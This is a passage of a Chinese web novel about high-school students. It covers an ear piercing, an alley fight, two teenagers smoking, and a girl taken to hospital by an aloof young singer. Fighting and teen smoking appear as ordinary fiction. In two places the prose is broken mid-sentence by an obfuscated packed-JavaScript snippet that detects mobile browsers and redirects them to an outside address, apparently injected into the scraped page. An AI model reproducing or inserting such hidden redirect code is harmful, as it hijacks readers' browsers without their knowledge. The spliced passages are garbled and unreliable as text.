谷奕坐在一旁,听着两人的对话,又顺着苏琬手指的方向看向她的左耳。 ——什么都没有,除了那两颗极小的耳钻。 他终于听明白了。 “你来打耳洞???” “嗯。” 苏琬点点头。 店里没有其他客人,两个人面对面坐在小小的店里。 “我第一个耳洞就是我妈带我来这里打的,这里的老板是我妈的朋友。” “之后我只要心情不好就会过来打一个耳洞。” “……”谷奕听得咋舌,“心情不好过来打耳洞?那么痛不是心情更不好了?” 苏琬笑着摇头。 “就一秒钟而已,那一下的疼痛其实很上瘾。” “一种痛如果只有一秒钟,又能痛到哪里去呢?最痛的是长久而无法摆脱的痛。” …… “我们学校管得严,但是打耳洞算是一种最不会被发现的打扮方式了。如果真的被发现了,还可以说,是小时候家里就让自己打的,这样老师也不会说什么。” 郭阿姨走了出来,手上还拿着一只像手枪一样的东西。 谷奕睁大了眼。 ——他眼看着郭阿姨直接在苏琬的左耳耳垂上“打了一枪”,那个“手枪”发出一声清脆的“吧嗒”声。 整个过程不到五秒钟,苏琬眉头都没皱一下,紧接着她的耳朵上就多了一颗小小的钻。 ……两个女人表情自然动作流畅,甚至嘴上还风轻云淡地聊着最近的生活。 ——而他在旁边看得咬牙切齿,满脸痛苦。 “真的不疼吗?” “真的不疼。” 他仔细地左右看了一下苏琬的耳朵。耳垂小巧,肤色白皙,现在左耳和右耳上都有三枚闪闪发光的透明小钻。 她转头,发丝垂落,落在耳钻中间。 “……”谷奕真心实意地点点头:“确实好看。” “既然这样……” 他脸上一副新奇的样子,也指着自己的耳朵。 “那给我也来一个!” ——上一秒还觉得自己是大直男而感到不适应的他,极速融入了美甲店的氛围。 “就打一个跟你这个一样的钻。” …… “啊啊啊啊啊啊啊啊啊啊” “痛痛痛痛痛痛痛痛!!!!” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊” …… 谷奕出了一头的汗,痛得龇牙咧嘴,气喘吁吁地捂住自己的耳朵,跳起来跑到门口,崩溃大喊: “怎么这么痛!” 郭阿姨拿着“手枪”,笑容和蔼。 “孩子,你还有一只耳朵没打呢。” 他往后躲开几步:“不打了!不打了!” 店里的几个女员工妹妹围成一圈,看见这样一个一米九的男生大声喊痛满店乱窜,都在互相咬耳朵调笑。 谷奕脸红红的,挠挠头,反应过来以后有些不好意思。 他转头去觑苏琬的神色,却看见她站在一旁,笑得最为开心。 …… 两人坐公交车回到学校附近,天已经黑尽。 谷奕时不时就想去摸摸自己的耳朵。但是一摸就痛,于是只能龇牙咧嘴地又放下手。苏琬递给他一支红霉素软膏,告诉他如果发炎就要涂这个。 两人穿过破旧古老的小巷。 路灯断断续续,学校还没下晚自习,周围一片安静。 突然,走在前面的苏琬脚步停了。 …… 穿过小巷层层叠叠的低矮屋檐,她看到,前面漆黑破旧的角落里,隐隐约约站着两个人影。 前面的人,抱手站着,嘴里叼着一支烟,眼神阴冷,正在紧紧盯着他们。 ……是杨天奇。 她呼吸急促,竭力冷静下来,握紧手心,迅速观察了一下周围。 这是一条学校附近不远处的小巷,是公交站到学校的最近的必经之路。从她和谷奕后面那个方向出去,会到公交站,行人比较多。从前面那三个人的方向出去,可以到学校大门,门口有保安。 她手心已经出汗,停 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她睁大眼睛,看着旁边的谷奕突然像只豹子一样冲了出去,用力抡起右臂,对着杨天奇的脸狠狠打了过去。 谷奕出手极快,力气又大,所有人都没反应过来,杨天奇就被重重地揍倒在地。 ——他又立刻扑上去,骑在杨天奇身上,完全压制着他,又高高扬起拳头,像是泄愤一般狠狠打着他的脸和脖子,拳拳到肉,打得杨天奇捂住头发出痛苦的叫声。 ……旁边两人终于反应过来,赶紧上前帮忙。 谷奕被身后的人一脚踹翻,滚在地上,又被前面的人抬脚用力地狠狠踹了几下肚子。他痛得吼叫,双手挡住那人的脚,翻身站起来,只是稍微晃了晃头,竟然就又立刻扑到杨天奇身上,拳脚相加,凶狠异常。 旁边两人都没见过这样不要命的打法,一时竟有些犹豫而不敢上前。 可是下一秒就被杨天奇惨烈的叫声拉回来,两人对视一眼,冲了上去。 四人纠缠扭打在一起,谷奕一个人拖住了三个人,阴暗狭窄的巷子里到处都是身体相击的沉闷声响,血液和汗水混在一起,溅起路边的灰尘。 …… 苏琬用平生最快的速度,跑出了小巷。 她用力摆动双臂,听见自己的心跳剧烈跳动,风声呼呼地穿过她的耳畔。 她跑向了学校的方向。 前方不远处就是大门,她已经看到了校门口的保安亭。 ——突然,她一下子想到了什么,猛地停下来。 不行!是谷奕先动的手。不能闹大…… 她咬牙想了一两秒,立刻转身就跑向学校对面的药店。 …… 谷奕在地上滚了半圈,右脚用力一蹬,踹走上方的想用手肘打他的头的人,滚到墙边,大口喘着气,只觉得全身上下到处都痛。 但是他早就没什么感觉了。 当他听见杨天奇骂苏琬的时候,他就已经没什么理智了。 …… 他头晕得厉害,努力睁开眼睛,靠墙坐着,喘着气看着前面的几个人。 ——杨天奇被打得最厉害,早就已经躺在地上,像只虾一样蜷缩在角落里。 剩下两个人一直纠缠,一个被他甩到旁边踢了两脚,一个被揍了两下肚子就惨叫着倒在墙根。 眼前越来越模糊,双手因为用力太多而已经有些颤抖,他用力晃了晃脑袋,刚刚撑着眼皮抬起头,模糊的视界里就又出现一个晃晃悠悠的人影。那人还不死心,手上拿着一块石头,站起来,朝他用力砸过来。 谷奕急忙侧过身子,将将躲开,下一秒那人就扑过来压在自己身上,巨大的沉闷的重量压得谷奕胸口极痛,几乎要呼吸不过来。 眼前又开始模糊,压在自己身上的人高高扬起右手,那块尖锐的石头下一秒就要用力砸向自己的眼睛。 “啊啊啊——” “啊啊啊啊——” 突然,旁边传来两声尖锐的痛苦的叫声。下一秒,谷奕就闻到什么强烈的薄荷味,紧接着就看见一只素白的手从压在自己的人的身后伸过来,迅速把什么东西涂在了他的眼睛上。 那人一下子紧紧闭上眼,嘴里发出巨大的惨叫,右手扔了石头,滚在一旁捂住眼睛。 谷奕身上的重量一下子减轻,他爬起来,用力睁大眼睛抬头看。 ——只见苏琬瘦弱的身体站在自己面前,喘着气,看着他,手上拿着两个小小的清凉油盒子。 她扔掉盒子,弯下身,拉起他的手。 她很用力,谷奕只觉得他的手都要被苏琬捏断了。她拉着自己,撒开腿就往前跑。后面三个人全部捂住眼睛惨叫着滚作一团,鬼哭狼嚎的声音传来,她头也没回。 23. 第 23 章 苏琬一直没敢停。 她拉着谷奕一直跑一直跑,直到跑到学校附近的另一个小区,附近人流量明显变多,三三两两的学生家长在路边悠闲散步。 她转身进了一条狭窄的巷子,头顶路灯微黄,她这才气喘吁吁地停下。 两人一顿疯跑,此时头发散乱极其狼狈。苏琬还好,谷奕简直像从泥土堆里捞出来的,浑身上下全是大大小小的灰尘块,衣领被扯得大开,裤子破了一条长长的缝。 ……但是最让苏琬心惊的,是谷奕额头上有一条接近三厘米的伤口,此时血痕都已经凝固,夹杂着黑红的斑斓痕迹。 她放开谷奕的手,声音有些颤抖。 “你,你在这里等我。” 说完,她又立刻转身跑出小巷,一直跑到刚刚路过的街边药店。 进了药店,她急匆匆地找到了纱布和碘酒,哆哆嗦嗦把货架上一大半的东西都买了下来,又跑到隔壁便利店买了瓶矿泉水。 她跑回巷子。 …… 巷口路灯下,谷奕靠在墙边,双腿交叠,高大的身形隐在黑暗中。 他微微歪着头,嘴角咬着一支烟。 有些脱力的右手颤颤巍巍地从口袋里掏出一个打火机,伸到嘴边点燃。 “啪嗒——” 香烟在黑暗中燃起一点点猩黄的光芒,微微照亮了他的轮廓紧绷的俊朗侧脸。 烟雾缭绕,像缠绵的雾气,飘散在他高挺的鼻背上。 他垂头,安安静静地吸了两口。 周围静谧,没有风声。 ——结果一转头,就看见,苏琬就站在两步之外的巷口,直直地看着自己,手上还拎着一个鼓鼓囊囊的塑料袋。 …… 她就那样毫不掩饰地直勾勾地盯着自己看。 发丝散乱,唇角殷红,眼睛在月光之下清澈得像湖水。 谷奕愣在原地,没来由地想到开学典礼的那天晚上,在楚门一中宿舍楼下微弱的月色中,苏琬那双亮晶晶的眼睛。 他的心跳漏了一拍,嘴边的烟灰滚落。 …… 手上动作条件反射地顿住,他回过神,不想在苏琬面前抽烟,于是低头,想把嘴边的烟拿下来。 可是下一秒,旁边却伸过来一只白瘦的手,轻轻扶住了他的手腕。 苏琬轻轻荡荡的声音响起。 “还有吗?” 谷奕瞪大了眼睛,被她突如其来的靠近弄得手足无措。 他站着不动,看着眼前的人好几秒,像是半天才反应过来,右手哆哆嗦嗦地从兜里拿出一包拆封了的香烟。 苏琬低头,接过那包烟,抽出了一根,咬住,抬眸,那双杏眼就这样直直地看向谷奕。 …… 谷奕此时此刻的脑子已经不太能思考了,虽然他本身也不常使用他的脑子。 他风风火火,鲁莽冲动,打架的时候一个人面对三四个彪形大汉的时候都丝毫没有害怕过,赤手空拳就敢扑上去。 然而此时,在楚门一中附近阴暗潮湿的狭窄小巷里,他被一个矮他两个头的瘦弱女生欺近在墙上。 她就这样咬着他递过去的烟,露出两颗尖锐的虎牙,眉眼舒展,静静地等待他给她点燃。 “咔嚓——” 金属打火机清脆的声音响起,苏琬嘴边的烟被点燃,微弱的光亮闪过她的脸又瞬间熄灭。 ……谷奕有些不可置信地看着眼前的这一幕。 两双眼睛在黑夜和缭缭烟雾中相融,细密的心跳声在沉默无人的阴暗巷口拐角处如同擂鼓般响起。 天上凄冷的银色月光像妖冶的鬼魅,可是谷奕却只觉得,这月光不如眼前的苏琬十分之一的摄人心魄。 …… “第一次抽,原来是这种感觉。” 苏琬吸了一口,有些不适应地咳嗽两声。 ……谷奕终于如梦方醒,声音涩然,眼神晦暗。 “……我带坏你了。” 她却笑了。 “我也带你去打耳洞了。” “我们扯平了。” …… 她葱白的指尖夹着烟,像是好奇般仔细观察着,又放进嘴里吸了两口。 谷奕知道苏琬第一次抽烟,并不习惯这种感觉,想帮她把嘴边的烟拿下来。 ——可是手才刚刚抬起,却又犹豫地放下。 他有些晦涩地看着面前的女孩。 一向没什么文墨的脑子里此时却突然闪过一句不知道从哪里看来的话。 ——“早就想劝你别吸烟了,但是烟雾中的你,是这么美丽,叫我怎么说得出口。” * 黄怀予这辈子都没有这么难受过。 应该是因为,她这辈子都没有吃的这么多过。 她弯腰捂着胃,一步步走在人民路酒吧街夏天的夜里,精神已经有点恍惚了,脑子里稀里糊涂地开始用文综大题的答题思路来分析她这么难受的原因。 时间背景,是考完了月考,太过兴奋。 地点原因,是在小姨李鸣月的酒吧,无所顾忌。 经济原因,是今晚所有消费李鸣月买单。 政治文化原因,是没有老师和家长的约束和压迫,感觉十分自由。 ……还有最重要的根本原因,在于她占便宜等不到明天的根深蒂固的小农阶级劣根性。 …… 她现在所有精力都在于如何抵抗胃里的难受上,所以对于前面不远处还有一个被她小姨临时委以重任送她去医院的陌生帅哥的身影,完全没有任何感觉。 更何况,那人比她还不在乎,接到了任务也只是平静地点点头,紧接着就出了门,看也没看她一眼,长腿一伸,走得飞快。 只留她一个病号在后面捂着肚子一步步往前蹭。 …… 她看着前面高瘦的背影,哼出一口气。 果然她看人很准。 虽然脸无敌帅,但是性格无敌冷,大有知道自己帅就装逼的嫌疑。 ——黄怀予最喜欢在别人面前装逼,但是最忍不了别的男人在她面前装逼。 比如第一次见面时的谷奕,赐封号为黄毛篮球叛逆哥。 再比如现在的楚恒,赐封号为金毛唱歌高冷哥。 …… 两人就这样一前一后走出了人民路,黄怀予站在马路边,虚弱地拦下了一辆出租车。 她走向后座,打开车门准备上车的时候,不小心撞到了旁边的楚恒一下。 ——她嘴里的“不好意思”还没说出口,楚恒立刻像躲开什么恶心的东西一样迅速后退,一直退到离她一米远的地方,抬眸冷淡地看着她。 “……” 黄怀予心想,刚刚在1969就不应该吐得那么干净,应该留一点,现在正好吐你嘴里。 她猫着腰坐到后座,懒得跟他发作,看见他过了几秒才坐到副驾驶,跟司机说了李鸣月告诉他的最近的医院名字之后,总算稍微放下心,皱眉闭上眼休息。 …… 一路无话,车里极其安静。 黄怀予正难受,楚恒更是个不说话的。 两个才刚刚认识一小时不到的陌生人,就这样被绑定在同一件任务上,在这个狭小沉默的空间里,一路向医院驶去。 …… 胃里又开始翻江倒海,那股胀胀的感觉又出现,黄怀予只觉得胃里好像正在不断痉挛,马上就又要吐出来。 ——她赶紧用力捂住嘴,脑子里开始背《琵琶行》转移注意力。 黄怀予你一定得忍住! 这是在出租车上,要是真的吐在人家的车上你还要不要活了! 更何况金毛唱歌高冷哥还在前面坐着呢! …… 间关莺语花底滑,幽咽泉流冰下难。 冰泉冷涩弦凝绝,凝绝不通声暂歇。 别有幽愁暗恨生,此时无声胜有声。 哎,下一句是什么来着? 她在座椅上扭得像一只蚯蚓,双手用力捂着嘴,额头上沁出豆大的汗珠。 再忍忍……再忍忍…… …… 操!忍不住了! 她用尽所有的清醒居然还能观察一下车外的路况,然后气若游丝喊出来一句: “师傅前面路边停一下。” 她冲下车门,抱着路边的垃圾桶狂吐。 ——可是胃里的东西早就已经在1969就吐得差不多了,她已经胃痉挛了,此时已经什么也吐不出来,只能根本不受控制地吐出酸水。 胃酸返上来,卡在喉咙里,又酸又苦。 空落落的胃传来一阵绞痛,她眼角沁出生理性眼泪,万分虚弱地胡思乱想道: 终于想起来下一句了。 ——这下可真是,银瓶乍破水浆迸,铁骑突出刀枪鸣。 黄怀予抱着旁边的树干,虚弱地靠在上面,眼角挂着泪痕,凌乱的发丝湿润地贴在额头上,双颊透着不正常的红晕,眼睛都睁不开。 ……一副十分可怜的样子。 突然,右边伸过来一只手。 她缓慢地转头看过去。 是一只很白的手,骨节突出,青筋缠绕。 与此同时,那只手里,还捏着一张卫生纸,和一瓶没开封的矿泉水。 …… 她没抬头。 不用看也知道,此时此刻能出现在这里的人,也只有那位坐在副驾驶的高冷金毛哥了。 她虚弱地抬起手,接过来那瓶水,手上却没力气,拧了几秒都没拧开。 下一秒手一滑,那瓶水就瞬间掉了下去,滚落在脚边。 她第一反应就是想弯腰下去捡。 可是身体虚弱,浑身没力气,动作十分缓慢。 …… 她弯下腰,手还差大概二十几厘米就快要碰到水瓶的时候,视线中突然出现闯入一个黑色的身影,带来一股苍兰香味的微弱风流。 金色的发丝在她眼前一闪而过。 ——一只骨节突出的手已经先她一步,稳稳地拿起了那瓶水,直起了身子。 她愣住,模糊的眼前只闪过那人的侧脸和流畅的下颌线,只停留两秒就迅速消失。 她抬头。 一眼望进楚恒漆黑深沉的眸子里。 他就这样平静地站在自己面前,黑色卫衣显得他身姿修长挺拔。 随后,他再次伸出手,把水递给了她。 …… 黄怀予接过来,终于拧开了瓶盖,正准备喝一口的时候,旁边响起一个低沉的声音。 “别喝,只是漱口。” “喝了会吐得更厉害。” 黄怀予一愣,照做,果然喉咙里又酸又苦的感觉减轻了,想要再次吐的感觉也没那么强烈了。 “……” 她缓缓直起身,扶着树干,喘着气,静静地看了楚恒两秒钟。 刚刚那句话,还是这两个人今天晚上第一次见面,说的第一句话。 她低下头,拧紧瓶盖。 ……嗯,感觉他顺眼了不少。 …… 黄怀予重新坐进车里,手上拿着那瓶水。才刚坐下,就听见身后也传来进车门的窸窸簌簌的声音。 ——她回头,居然看见,楚恒跟在她后面,也坐进了后座,关上了车门。 她有些惊讶,但是他却没看她,只是目不斜视,对着前面的司机淡淡道: “师傅,可以了。还是去医院。” …… 车还是那辆车,空间还是那个空间,但是楚恒从副驾驶坐到了她旁边,两个人之间的距离一下子变近了很多。 黄怀予偷偷瞄他的侧脸。 她感觉到了极其强烈的不真实,一小时前在远远的舞台上像神仙一样唱歌的大帅哥,此时此刻就坐在她旁边,只隔着二十厘米。 车窗外打过五颜六色的光,闪过他高高挺起的鼻梁,又缓慢移走,在他金色的发丝间打出乱七八糟的光晕。 ……看在金毛哥长得国色天香的面子上,勉为其难跟你讲几句话吧。 她躺靠在座椅上,看着前方,捂着肚子,实话实说道: “谢谢你的水。” “还有,你唱歌非常好听。” “以及,你长得也特别好看。” …… 楚恒闻言,顿住,缓慢眨了眨眼,朝左转头,看向她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252944|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是黄怀予看也没看他,躺在车座上闭着眼,脸红扑扑的,嘴唇一动一动,声音还带着刚刚吐完的嘶哑。 “我知道你其实不想送我来,但是被我小姨临时委托,你还是送我来了。” “所以为了感谢你,说两句实话夸夸你。” …… 楚恒眉头一皱,脑海里一闪而过他在舞台上唱歌时,黄怀予坐在他正下方大快朵颐的样子。 他当然知道她就坐在下面。 只是她吃得那么爽快,他还以为,她只把台上的自己当个伴唱的背景音乐,完全没关注到他唱的是什么,更别说“是否好听”这样主观的判断。 …… “你怎么知道我唱歌好听?” 声音低沉,缓慢,没什么情绪。 …… 黄怀予一愣,没想到能从对方那里得到回答,可能是自己说的话太奇怪,让就算再冷淡的人也无法不接话。 她心想这人也够奇怪的,夸你一句还问为什么。 还能为什么,当然是因为她就坐在下面,听到了呗! 黄怀予看他一眼,没想到楚恒也正好在看她。她一下子和楚恒的眸子对上,对方眼神凉凉。 !! 她骤然想到,他不会看到自己在台下大吃特吃,觉得她根本没听吧! 黄怀予立刻决定补救,迅速躲开他的目光,闭上眼,装作平静地拍他马屁。 “我就坐在下面听着呢。你一边在上面唱,我一边在下面吃。” “结果因为你长得太帅,唱歌太好听,我一不小心吃得太多,直接吃吐了。” …… “是吗?” 右边传来一道平淡低沉的嗓音。 “我唱的第一首歌,叫什么名字?” 黄怀予心里一蹬,心想怎么碰到个考哥,莫名其妙开始“让我考考你”? 但是碰见她,考哥可就失算了,毕竟她长这么大,考试是她最熟悉的事。 她皱眉,本着做英语听力题的经验,努力回忆着听到的关键词。 ——好像歌词是什么,星星,太阳,银河? 还有什么,“孤单的心堕落在黑暗,宇宙听不见回音,无处可藏的行星”? ……她眨着眼,按照最普通的取名规则,讲出一个答案。 ——“孤单行星?” 她的声音有些沙哑,带着不确定,轻轻柔柔。 ——可是右边的那个男生闻言,却猛然抬眸,直直地看向她。 …… 黄怀予看他表情,又说出几个备选答案: “或者是,堕落宇宙?遥远回音?消失的太阳?” 她被激起当了十几年学生的做题欲,带着一丝肯定:“一定就这几个类似的答案。” …… 楚恒垂头,面上平静,眸子里却闪过震惊,攥紧了拳头。 ……彩排和正式演出的时候都不会报歌名。 她却一下子就猜对了。 甚至,她刚刚说的几个“备选答案”,竟然全部和自己当初写这首歌的时候想要取的几个备选名字,不谋而合。 他不由自主地再次向左边看去。 那女生闭着眼,躺在座椅上,眉间还带着疲惫,声音也沙哑,却依然有一句没一句地讲着话。 “我都说了我听到了,你还不信。切。” “我之所以吐,就是因为一边听你唱歌,一边吃,结果吃太撑。” 说到这里,黄怀予竟还有一丝真情流露,开始真心实意回忆起刚刚吃的东西。 “还有,不知道为什么,今天我小姨厨房做的东西实在是太好吃了——鸡翅炸得火候刚好,外酥里嫩,羊肉串肥瘦相间,薯条特别脆……哎,什么都那么好吃!” 她还在闭着眼,叽里呱啦说着今天晚上那些菜有多么好吃,仿佛全然忘了,自己刚刚在路边抱着垃圾桶狂吐的凄惨样子。 “不过我也不后悔,再来一次我还是会吃。” …… “为什么?” “喜欢就吃了呗,哪有那么多为什么。” …… 楚恒看着她。 ——他还是第一次见到有人可以吃到吐的。 他当了八个月的练习生和三年的艺人,周围全是瘦子,所有人都在焦虑地和镜头里的自己作斗争,每天都称体重是寻常事。 甚至很久以前,和顾安还是室友的时候,还曾经亲眼看到顾安减肥吃了零食后又后悔催吐的样子。 …… 沙拉和煮鸡蛋是餐桌上的常客,吃多了少油少盐的东西,对正常的食物也不再有欲望。 他在这几年日复一日的节食中,慢慢体会到一件事: 对食物的欲望,是人类所有欲望中,很重要的一部分。 当食欲早已消磨掉的时候,其他所有欲望,也就跟着慢慢消失了。 那些野心,那些壮志,那些挥汗如雨的梦想,眼神里的光,行动的果断,奔向世界的冲劲…… 都已经消失了。 他只是这样,和周围所有艺人一样继续日复一日的节着食,和周围所有艺人一样瘦,和周围所有艺人一样在舞台上唱着自己不懂的歌,演着不属于自己的人设,完成好公司下达给“商品”的所有任务。 ……就这样,看着青春和时间一点点从自己眼前流逝。 他有些震惊地看着眼前的这个第一次见面的年轻女孩,她很痛苦,很虚弱,但是还是那样满不在乎地说着自己对食物的喜欢。 “喜欢就吃了呗,哪有那么多为什么。” 她闭着眼,捂着肚子,接受自己对食物的欲望和承受肠胃的投诉这两件事,神奇地共存着。 她只是依照自己的感情行事,不考虑太多后果,想做就做,就这样痛快地随便地活着。 …… 霎时间,让他想到了另一个女生。 ——那个只存在于谷奕电话里的脾气暴躁,“极其不好惹”的女生。 …… 不会是她。 哪有那么巧的事? 他眸光只闪烁一瞬,就收回视线,安静地坐着,街边路灯闪过,仿佛又恢复成了那个冷淡疏离的样子。 24. 第 24 章 “急性肠胃炎。吃太多油炸食品,刺激了胃,又呕吐,导致痉挛。” 大晚上在值班室睡觉却突然被叫起来的医生坐在电脑前,满脸不耐烦地打着键盘,打出一张病历纸。 “大晚上,吃那么多炸鸡翅做某斯!” “又不消化,这不是活该吗?真是信了你的邪。” 他絮絮叨叨地用楚门话骂着,把手里的病历纸递给一旁站着的楚恒。 “要打针。让你男朋友先去交钱。” ?!?! 黄怀予本来捂着肚子正难受地憋屈地听着对面医生无休止的怨气,还要分出一大半精力去抑制住动不动就痉挛的胃即将又想吐的欲望。 ——结果就听见医生最后那句话。 “……” 她张着嘴,脑子有点不清楚,已经不知道是应该先对“打针”这件事有所反应,还是应该先对“男朋友”这个词有所反应。 ——于是,她“蹭——”一下子站起来,捂着嘴跑到房间右边的小洗手池,开始狂吐。 …… 医生惊讶地看一眼黄怀予痛苦的背影。 又回头看看旁边站着的脸色有些难看的楚恒。 “你们吵架了?说一句你是她男朋友,就反应这么大,恶心得都吐了。” “……” 楚恒呼出一口气,接过那张纸,想说些什么又还是放弃了。 …… 晚上九点半,黄怀予七仰八叉地坐在医院走廊输液室冰冷坚硬的椅子上,头卡在椅背和墙壁的缝隙里,手背上插着输液针。 胃折腾了一晚上,到现在总算感觉舒服了一点。她靠着脑袋,只觉得疲惫无比。 护士刚刚说要挂两大瓶,她心想完了,估计要弄到半夜。学校晚自习十点就下课了,如果十点半她还不到家,必定会暴露。 想来想去,她还是决定坦白。 ——不过,只坦白一半。 也就是对自己有利的那一半。 她费劲地掏出手机,给外婆打电话,说自己晚上吃太多结果急性肠胃炎犯了,去了医院,要打针到半夜,所以就不回家了,让李鸣月小姨过来医院接自己,下半夜她输完液直接去李鸣月家睡一晚上。 ……嗯嗯,很完美,都是实话。 “你看你,吃这么多干什么!现在难受吧?”家家有点着急,“你在哪家医院?我现在去!” “不用,这大晚上你出来干什么?你腰不好!让爹爹也不用出来。” “……那我跟你妈说一声,让她给你们班主任请个假,明天上午你先睡会儿啊!” “……还有,李鸣月?” 她在电话那头不放心地咕叨了一句。 “你没去她的酒吧吧?” ——黄怀予的心揪起来。 她心虚地笑笑,心里想着不愧是养了自己十几年的家家,第六感无敌准,但是下一秒她就用入党般的坚定誓念说:“没去。” “烟花柳巷,灯红酒绿,道德败坏,正经人怎么会去那里。” 对面放心地把电话挂了。 …… 她放下手机,这才发现楚恒就一直站在左边的输液瓶旁,身姿挺拔,正不咸不淡地垂眸看着自己,显然是已经全部都听到了。 “干什么?” 她缩起肩膀。 “正经人不会去那里,我又不是正经人。” “……” 她左右看看,偌大的输液室里除了她就只有右边的一个五六岁的小姑娘,正在一边打针一边睡觉。旁边似乎是她妈妈,两人靠在一起。 感觉有点无聊,但是晚上九点半的时间也并不困。 于是,她心情还不错地发了一条朋友圈。 “一不小心吃得太多,吃成急性肠胃炎了,我恨。此条屏蔽家长,小姨的酒吧真好玩。【龇牙】【龇牙】【龇牙】” 打完字,她抬头看了看左上角高高挂起来的输液瓶,顺手对着自己正在打针挂水的左手拍了一张照片。 ——一张平平无奇的照片,只是,右下角拍到了一点点楚恒的黑色卫衣的下摆。 她随意看了看,也没在意,直接按了发送。 …… “同学?你好……” 有人叫她? 黄怀予转头,看见右边的角落里,那个小女孩的妈妈正在喊自己,脸上带着不好意思的歉意。 “请问你们能帮我个忙吗?” “我要去二楼交钱拿药……但是我女儿睡着了,如果我不在这里,她会害怕。” 那个母亲有些抱歉地拢了拢鬓边的头发,满眼真诚:“请问你男朋友可以帮我去二楼拿一下药吗?” “……” 黄怀予顿住。 虽然看不到自己脸上的表情,不过她知道此时此刻自己脸上的表情一定很精彩。 她默默转头,偷偷看了一眼旁边已经是第二次被认成“男朋友”的金毛高冷哥,正好和他看过来的眸子撞了个正着。 ——她立刻回过头,移开视线,正襟危坐,秉神宁息,主打一个敌不动我不动。 两人谁都没说话。 那位母亲以为是两人都不愿意帮忙所以才沉默,脸上立刻露出失望的表情。 “……好吧,那我就自己去……没事没事,麻烦你们了……” “啊不是!” 黄怀予刚说出口想让对方别误会,他不是自己男朋友,就看见左后方一个高挑的黑色身影已经疾步走了出来。 “我去。” ……一贯的惜字如金,依然没有解释什么多余的话。 那位母亲愣了一下,看着楚恒走近之后才反应过来,脸上立刻露出欣喜和感激。 “好好,多谢你了!这是我的身份证,这是药单,还有三百块现金。” 他接过,欲走,仿佛又想到什么,竟然转过身,看了黄怀予一眼。 黄怀予立刻举起右手投诚道: “我这次可没吐!” 他愣了两秒,眼里似乎是露出一丝无奈,又看了她一眼,转身走了。 …… 黄怀予躺回座椅上,又往下百无聊赖地随手刷着朋友圈。 突然,她刷到一条谷奕的朋友圈。 是今天下午五点多发的,应该是月考刚刚结束的时候,也不知道他考了一天以后受了什么刺激。 “上个屁的学!我要去看比赛!好想去看比赛!” 配图是一张NBA。黄怀予看了几秒,估计是这几天正好有球赛,但是谷奕却因为只能呆着这里而去不了,在考完了一整天的试以后,发点牢骚。 一条十分普通平平无奇的朋友圈。 ——除了,下面马辉留下的一条评论。 “克制欲望,方能成才。” …… 黄怀予定睛看了两秒,发出惊天爆笑。 ——但是发出声音的那一瞬间她就意识到旁边还有那个小姑娘在睡觉,于是立刻用力捂住了自己的嘴。 左手手背上的针头还在隐隐作痛,她完全不能有太大的动作,还怕自己的笑声响彻整个夜晚安静的输液室并且吵醒旁边的小姑娘—— 几重限制之下,她只能用右手捂住嘴,整个人在座位上抖如筛糠,十分扭曲痛苦。 ——然后下一秒,她余光一扫,就看见输液室门口,正好拿着药回来的楚恒。 他走进来,看着在座位上扭成麻花的黄怀予,那张一贯冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252945|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峻的脸上露出一点无奈的表情,仿佛是觉得她的心态真的很好,这种时候还能苦中作乐。 …… 黄怀予拿着手机,立刻跟在马辉下面评论: “克制欲望,方能成才。” 刷新一下,下一秒下方就出现了几条新的评论。 白度:“克制欲望,方能成才。” 程朗:“克制欲望,方能成才。” …… 她快要笑死了,立刻截图,冲去“大杯蒜”群里,发出了放肆的笑声,一连打了五排的“哈哈哈哈哈”。 紧接着,【大傻】就秒回了一排愤怒的表情。 【大傻】:幸好还有苏琬,没有和你们一起同流合污。 【蒜蒜】:别生气,贪嗔痴皆是欲望。 【蒜蒜】:克制欲望,方能成才。 黄怀予笑得打嗝。 打完嗝,她又赶紧把自己的嘴捂住,生怕下一秒就又吐了。 …… “看什么?” 楚恒在自己左边不远处坐下,手肘撑在腿上,有些无奈的转头过来问她。 “看大傻。” …… 黄怀予永远也不会想到,此时此刻这个自己觉得永远也不会和他再有更多交集的高冷哥,其实已经在电话里朦朦胧胧认真听了大半个月关于自己的光辉事迹。 而她更加无法想到,手机里这个让她狂笑的“大傻”,就是楚恒认识了五年的好兄弟。 * 黄怀予放下手机,缩在医院冰冷的座椅上,眼皮慢慢变得越来越重。 楚门中心医院的安静空荡的输液室里,她和楚恒两个人并排,不远不近地坐着。 一人坐得端正,一人躺得随意。 ——很官方的距离,不陌生,也不熟悉。 没有人说话,只是平静地待着。 墙壁上的时钟一秒一秒地走着,只有沉闷轻微的呼吸声,纠缠在一起。 ……她睡着了。 好像做了一个梦,梦里她被推进了万丈冰窟,极寒刺骨,双手都被冻裂了,大风像利刃一样割过她裸露在外的皮肤。 她正在寒风中瑟瑟发抖,突然,怀里就一下子多出了一团温热的火焰。 那团火焰不大,却燃烧着温暖的光芒,成为这周围唯一的珍贵的热源,她不由自主地紧紧抱住了那团火焰。 …… 再然后,她就被冻醒了。 现在是九月份的夏天,可是医院的空调冷气实在是开得太足了,空旷的输液室里只有这么寥寥几人,铆劲地吹——怪不得她会做梦梦见自己像中了寒毒一样冷。 她微微直起身,转了一下脖子。 ——然而下一秒就发现,她的怀里,居然有一个粉色的小小的热水袋。 “……” 这就是,梦里的那团火? 她懵了。 条件反射往左边看看,但是那里早已经没有了人。 …… 已经走了吗? 